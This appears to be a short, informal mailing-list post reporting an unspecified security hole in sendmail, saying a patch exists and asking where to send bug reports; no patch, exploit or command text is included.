This appears to be a better fix, and it works too.

Huh. Yet another gaping hole, can you believe it? This is entirely
platform-independent, and has not yet been fixed in 8.2.2. Here's
the patch to fix it. This was done on 8.7.6; the line numbers may
differ in other versions but the patch is the same.

Now who the heck to I send this to to get it back into sendmail? There
are no e-mail addresses listed for bug reports in the READ_ME file, or
anywhere else for that matter.
